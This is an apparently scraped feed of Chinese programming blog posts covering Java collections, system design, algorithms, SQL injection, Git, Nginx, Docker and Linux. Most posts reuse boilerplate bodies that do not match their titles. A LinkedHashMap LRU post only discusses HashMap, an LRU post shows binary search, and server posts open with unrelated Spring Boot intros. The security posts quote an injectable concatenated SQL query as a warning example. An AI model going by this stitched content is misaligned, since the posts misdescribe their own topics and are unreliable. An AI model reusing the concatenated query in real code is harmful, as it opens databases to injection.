]]> Java集合 JAVA 集合 LinkedHashMap 如何实现 LRU 缓存 //linkedhashmap-ru-he-shi-xian-lru-huan-cun/ LinkedHashMap 如何实现 LRU 缓存

HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。

基本使用

Map<Long, String> userMap = new HashMap<>();
userMap.put(1L, "小乐");
userMap.put(2L, "张三");
System.out.println(userMap.get(1L));

HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。

扩容为什么要注意

默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：

Map<Long, String> userMap = new HashMap<>(1024);

常见坑

  • HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。
  • 自定义对象作为 key 时，要正确重写 equals 和 hashCode。
  • 不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。
]]> Java集合 JAVA 集合 ConcurrentHashMap 为什么适合并发场景 //concurrenthashmap-wei-shi-me-gua-he-bing-fa-chang-jing/ ConcurrentHashMap 为什么适合并发场景

ConcurrentHashMap 为什么在并发场景下更合适，背后涉及哪些实现细节。从 Java 7 到 Java 8，它的实现发生了很大变化。本文结合实际代码讲清楚这些变化和设计思想。

基本使用

Map<Long, String> userMap = new HashMap<>();
userMap.put(1L, "小乐");
userMap.put(2L, "张三");
System.out.println(userMap.get(1L));

HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。

扩容为什么要注意

默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：

Map<Long, String> userMap = new HashMap<>(1024);

常见坑

  • HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。
  • 自定义对象作为 key 时，要正确重写 equals 和 hashCode。
  • 不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。

核心要点

  1. Java 7 使用分段锁，Java 8 使用 CAS + synchronized

  2. 锁粒度从段级别降到了节点级别

  3. 使用红黑树优化链表的查询性能

  4. 支持原子操作，如 putIfAbsent、computeIfAbsent

总结

ConcurrentHashMap 是并发编程中常用的数据结构，理解它的实现细节有助于更好地使用它。在实际项目中，选择合适的并发集合可以显著提升性能。

]]> Java集合 JAVA 集合 HashMap 底层结构和扩容过程 //hashmap-di-ceng-jie-gou-he-kuo-rong-guo-cheng/ HashMap 底层结构和扩容过程

HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。

基本使用

Map<Long, String> userMap = new HashMap<>();
userMap.put(1L, "小乐");
userMap.put(2L, "张三");
System.out.println(userMap.get(1L));

HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。

扩容为什么要注意

默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：

Map<Long, String> userMap = new HashMap<>(1024);

常见坑

  • HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。
  • 自定义对象作为 key 时，要正确重写 equals 和 hashCode。
  • 不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。
]]> Java集合 JAVA 集合 ArrayList 扩容机制和使用建议 //arraylist-kuo-rong-ji-zhi-he-shi-yong-jian-yi/ ArrayList 扩容机制和使用建议

ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。

基本使用

List<String> names = new ArrayList<>();
names.add("Java");
names.add("Spring");
System.out.println(names.get(0));

扩容机制

ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：

List<Long> ids = new ArrayList<>(1000);

删除元素的正确方式

遍历时删除元素，不要直接在 for-each 里 remove：

Iterator<String> iterator = names.iterator();
while (iterator.hasNext()) {
    if (iterator.next().startsWith("J")) {
        iterator.remove();
    }
}
]]> Java集合 JAVA 集合 Java 反射的使用场景和风险 //java-fan-she-de-shi-yong-chang-jing-he-feng-xian/ Java 反射的使用场景和风险

Java 反射提供了强大的能力，但也带来了风险。本文讲它的使用场景和注意事项。

学习方式

先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。

public class Demo {
    public static void main(String[] args) {
        System.out.println("start");
    }
}

实践建议

不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。

]]> Java基础 学习笔记 JAVA Java 异常体系和业务异常设计 //java-yi-chang-ti-xi-he-ye-wu-yi-chang-she-ji/ Java 异常体系和业务异常设计

Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。

学习方式

先写一个最小 demo，再观察运行结果。比如对象比较、异常捕获、反射调用，都可以用几十行代码验证。

public class Demo {
    public static void main(String[] args) {
        System.out.println("start");
    }
}

实践建议

不要只背定义，要知道它对集合、并发、框架和线上排查有什么影响。Java 基础越扎实，后面看 Spring、JVM、并发源码时越轻松。

]]> Java基础 学习笔记 JAVA Java 泛型的类型擦除到底是什么 //java-fan-xing-de-lei-xing-ca-chu-dao-di-shi-shi-me/ Java 泛型的类型擦除到底是什么

泛型让集合和方法在编译期就能检查类型，减少运行时的强制转换错误。但 Java 泛型是通过类型擦除实现的，运行时并不会保留完整的泛型类型。

泛型解决了什么问题

没有泛型时，集合里什么都能放：

List list = new ArrayList();
list.add("hello");
Integer value = (Integer) list.get(0); // 运行时报错

使用泛型后，编译期就能发现问题：

List<String> list = new ArrayList<>();
list.add("hello");
String value = list.get(0);

类型擦除的影响

运行时 List<String> 和 List<Integer> 都会被擦除成 List。所以不能这样判断：

// 编译不通过
if (list instanceof List<String>) {
}
]]> Java基础 学习笔记 JAVA Java String 为什么设计成不可变 //java-string-wei-shi-me-she-ji-cheng-bu-ke-bian/ Java String 为什么设计成不可变

String 不可变是 Java 里非常重要的设计。它让字符串可以安全地放进常量池，也让 HashMap 这类结构能放心使用字符串作为 key。

不可变是什么意思

下面的代码看起来像修改了字符串：

String name = "java";
name = name + "-blog";

实际上原来的 java 没有被修改，而是创建了新的字符串对象，再让 name 指向新对象。

为什么这样设计

  • 线程安全：多个线程共享同一个字符串，不会互相改坏。
  • 哈希稳定：字符串作为 Map 的 key 时，hashCode 不会因为内容变化而变化。
  • 常量池复用：相同字面量可以复用，减少内存浪费。

什么时候用 StringBuilder

循环拼接大量字符串时，不要一直用 +：

StringBuilder builder = new StringBuilder();
for (int i = 0; i < 1000; i++) {
    builder.append(i).append(',');
}
String result = builder.toString();
]]> Java基础 学习笔记 JAVA Java 中 equals 和 hashCode 的正确理解 //java-zhong-equals-he-hashcode-de-zheng-que-li-jie/ Java 中 equals 和 hashCode 的正确理解

Java 里判断对象是否相等，不能只看 ==。== 比较的是引用地址，equals 通常表示业务意义上的相等。只要重写 equals，一般也要重写 hashCode，否则对象放进 HashMap、HashSet 这类集合后会出现很难排查的问题。

一个最小例子

public class User {
    private Long id;

    @Override
    public boolean equals(Object o) {
        if (this == o) return true;
        if (!(o instanceof User)) return false;
        User user = (User) o;
        return Objects.equals(id, user.id);
    }

    @Override
    public int hashCode() {
        return Objects.hash(id);
    }
}

为什么 hashCode 也要改

HashSet 判断元素是否重复时，会先看 hashCode，再看 equals。如果两个对象 equals 相等，但 hashCode 不一样，它们可能会被放到不同桶里，集合就会认为它们不是同一个对象。

验证方式

写一个简单测试：创建两个 id 相同的 User，放进 HashSet，最后 size 应该是 1。

Set<User> users = new HashSet<>();
users.add(new User(1L));
users.add(new User(1L));
System.out.println(users.size()); // 期望输出 1
]]> Java基础 学习笔记 JAVA 面试：文件上传服务如何保证稳定 //wen-jian-shang-chuan-fu-wu-ru-he-bao-zheng-wen-ding/ 面试：文件上传服务如何保证稳定

文件上传服务需要考虑大小限制、存储方案和稳定性。本文讲一些实用经验。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 系统设计 架构 系统设计 面试：订单超时取消如何实现 //ding-dan-chao-shi-qu-xiao-ru-he-shi-xian/ 面试：订单超时取消如何实现

面试：订单超时取消如何实现是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 系统设计 架构 系统设计 面试：秒杀系统的核心设计思路 //miao-sha-xi-tong-de-he-xin-she-ji-si-lu/ 面试：秒杀系统的核心设计思路

秒杀系统的核心在于限流、削峰和防重。本文讲它的整体设计思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 系统设计 架构 系统设计 面试：短链接系统如何设计 //duan-lian-jie-xi-tong-ru-he-she-ji/ 面试：短链接系统如何设计

短链接系统是一个经典的系统设计题。本文讲它的核心思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 系统设计 架构 系统设计 面试：布隆过滤器适合解决什么问题 //bu-long-guo-lu-qi-gua-he-jie-jue-shi-me-wen-ti/ 面试：布隆过滤器适合解决什么问题

布隆过滤器用一定的误判率换取了极低的空间占用。本文讲它适合解决什么问题。

先写清楚输入和输出

算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。

以二分查找为例：

public int binarySearch(int[] nums, int target) {
    int left = 0, right = nums.length - 1;
    while (left <= right) {
        int mid = left + (right - left) / 2;
        if (nums[mid] == target) return mid;
        if (nums[mid] < target) left = mid + 1;
        else right = mid - 1;
    }
    return -1;
}

验证边界

至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。

]]> 算法 学习笔记 算法 面试：LRU 缓存淘汰算法动手实现 //lru-huan-cun-tao-tai-suan-fa-dong-shou-shi-xian/ 面试：LRU 缓存淘汰算法动手实现

缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。

先写清楚输入和输出

算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。

以二分查找为例：

public int binarySearch(int[] nums, int target) {
    int left = 0, right = nums.length - 1;
    while (left <= right) {
        int mid = left + (right - left) / 2;
        if (nums[mid] == target) return mid;
        if (nums[mid] < target) left = mid + 1;
        else right = mid - 1;
    }
    return -1;
}

验证边界

至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。

]]> 算法 学习笔记 算法 面试：二分查找为什么容易写错 //er-fen-cha-zhao-wei-shi-me-rong-yi-xie-cuo/ 面试：二分查找为什么容易写错

二分查找看似简单，实际写起来却很容易出错。本文讲它的常见变体和注意事项。

先写清楚输入和输出

算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。

以二分查找为例：

public int binarySearch(int[] nums, int target) {
    int left = 0, right = nums.length - 1;
    while (left <= right) {
        int mid = left + (right - left) / 2;
        if (nums[mid] == target) return mid;
        if (nums[mid] < target) left = mid + 1;
        else right = mid - 1;
    }
    return -1;
}

验证边界

至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。

]]> 算法 学习笔记 算法 面试：密码存储为什么不能明文 //mi-ma-cun-chu-wei-shi-me-bu-neng-ming-wen/ 面试：密码存储为什么不能明文

密码为什么不能明文存储，这是一个基础但容易被忽视的问题。本文讲正确的做法。

安全问题要默认不信任输入

无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。

SQL 注入的例子

危险写法：

String sql = "select * from user where name = '" + name + "'";

推荐使用预编译参数：

SELECT * FROM user WHERE name = ?;

在 MyBatis 中优先使用 #{name}，不要用 ${name} 拼接用户输入。

权限校验

登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。

]]> 安全 学习笔记 安全 面试：接口鉴权和权限校验的区别 //jie-kou-jian-quan-he-quan-xian-xiao-yan-de-qu-bie/ 面试：接口鉴权和权限校验的区别

接口鉴权和权限校验是两个不同层次的概念。本文讲它们的区别和实现方式。

安全问题要默认不信任输入

无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。

SQL 注入的例子

危险写法：

String sql = "select * from user where name = '" + name + "'";

推荐使用预编译参数：

SELECT * FROM user WHERE name = ?;

在 MyBatis 中优先使用 #{name}，不要用 ${name} 拼接用户输入。

权限校验

登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。

]]> 安全 学习笔记 安全 面试：SQL 注入原理和防护方法 //sql-zhu-ru-yuan-li-he-fang-hu-fang-fa/ 面试：SQL 注入原理和防护方法

面试：SQL 注入原理和防护方法是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

安全问题要默认不信任输入

无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。

SQL 注入的例子

危险写法：

String sql = "select * from user where name = '" + name + "'";

推荐使用预编译参数：

SELECT * FROM user WHERE name = ?;

在 MyBatis 中优先使用 #{name}，不要用 ${name} 拼接用户输入。

权限校验

登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。

]]> 安全 学习笔记 安全 面试：Git 冲突解决的正确顺序 //git-chong-tu-jie-jue-de-zheng-que-shun-xu/ 面试：Git 冲突解决的正确顺序

Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。

提交前先看清楚改动

Git 最重要的习惯是提交前看 diff：

git status
git diff
git diff --cached

确认没有调试代码、临时文件、无关格式化，再提交。

推荐的小步提交

一次提交只做一件事，例如：

git add src/main/java/com/example/UserService.java
git commit -m "fix: handle empty user result"

如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。

冲突怎么处理

遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。

]]> Git 学习笔记 Git 面试：Git rebase 和 merge 怎么选 //git-rebase-he-merge-zen-me-xuan/ 面试：Git rebase 和 merge 怎么选

Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。

提交前先看清楚改动

Git 最重要的习惯是提交前看 diff：

git status
git diff
git diff --cached

确认没有调试代码、临时文件、无关格式化，再提交。

推荐的小步提交

一次提交只做一件事，例如：

git add src/main/java/com/example/UserService.java
git commit -m "fix: handle empty user result"

如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。

冲突怎么处理

遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。

]]> Git 学习笔记 Git 面试：Git 提交前如何检查改动 //git-ti-jiao-qian-ru-he-jian-cha-gai-dong/ 面试：Git 提交前如何检查改动

Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。

提交前先看清楚改动

Git 最重要的习惯是提交前看 diff：

git status
git diff
git diff --cached

确认没有调试代码、临时文件、无关格式化，再提交。

推荐的小步提交

一次提交只做一件事，例如：

git add src/main/java/com/example/UserService.java
git commit -m "fix: handle empty user result"

如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。

冲突怎么处理

遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。

]]> Git 学习笔记 Git 面试：Nginx 配置修改后的验证流程 //nginx-pei-zhi-xiu-gai-hou-de-yan-zheng-liu-cheng/ 面试：Nginx 配置修改后的验证流程

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Nginx 服务器 Nginx 面试：Nginx 静态资源缓存配置 //nginx-jing-tai-zi-yuan-huan-cun-pei-zhi/ 面试：Nginx 静态资源缓存配置

缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Nginx 服务器 Nginx 面试：Nginx 反向代理配置入门 //nginx-fan-xiang-dai-li-pei-zhi-ru-men/ 面试：Nginx 反向代理配置入门

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Nginx 服务器 Nginx 面试：容器健康检查为什么重要 //rong-qi-jian-kang-jian-cha-wei-shi-me-chong-yao/ 面试：容器健康检查为什么重要

容器健康检查是保证服务稳定的重要一环。本文讲为什么重要以及如何做。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Docker 服务器 docker 面试：docker compose 部署单机服务 //docker-compose-bu-shu-dan-ji-fu-wu/ 面试：docker compose 部署单机服务

Dockerfile 的分层缓存和镜像优化是部署时最容易忽略的。本文讲一些实用技巧。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Docker 服务器 docker 面试：Docker 容器日志和数据卷实践 //docker-rong-qi-ri-zhi-he-shu-ju-juan-shi-jian/ 面试：Docker 容器日志和数据卷实践

日志是线上排查的生命线。本文讲 Spring Boot 中日志配置、分级输出和排查技巧。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Docker 服务器 docker 面试：Dockerfile 分层缓存和镜像优化 //dockerfile-fen-ceng-huan-cun-he-jing-xiang-you-hua/ 面试：Dockerfile 分层缓存和镜像优化

缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Docker 服务器 docker 面试：Linux 文件权限和用户组理解 //linux-wen-jian-quan-xian-he-yong-hu-zu-li-jie/ 面试：Linux 文件权限和用户组理解

Linux 文件权限是运维和后端开发的基础。本文讲权限模型和常见问题。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux 面试：crontab 定时任务从配置到排查 //crontab-ding-shi-ren-wu-cong-pei-zhi-dao-pai-cha/ 面试：crontab 定时任务从配置到排查

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux 面试：systemd 服务管理入门 //systemd-fu-wu-guan-li-ru-men/ 面试：systemd 服务管理入门

systemd 是 Linux 上的服务管理器。本文讲如何编写 service 文件和管理服务。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux 面试：Linux 查看日志的几种方法 //linux-cha-kan-ri-zhi-de-ji-chong-fang-fa/ 面试：Linux 查看日志的几种方法

日志是线上排查的生命线。本文讲 Spring Boot 中日志配置、分级输出和排查技巧。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux 面试：Linux 磁盘空间占满排查流程 //linux-ci-pan-kong-jian-zhan-man-pai-cha-liu-cheng/ 面试：Linux 磁盘空间占满排查流程

Linux 文件权限是运维和后端开发的基础。本文讲权限模型和常见问题。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux 面试：责任链模式在审批和过滤器中的应用 //ze-ren-lian-mo-shi-zai-shen-pi-he-guo-lu-qi-zhong-de-ying-yong/ 面试：责任链模式在审批和过滤器中的应用

责任链模式在审批和过滤器中应用广泛。本文讲它的实现方式和适用场景。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

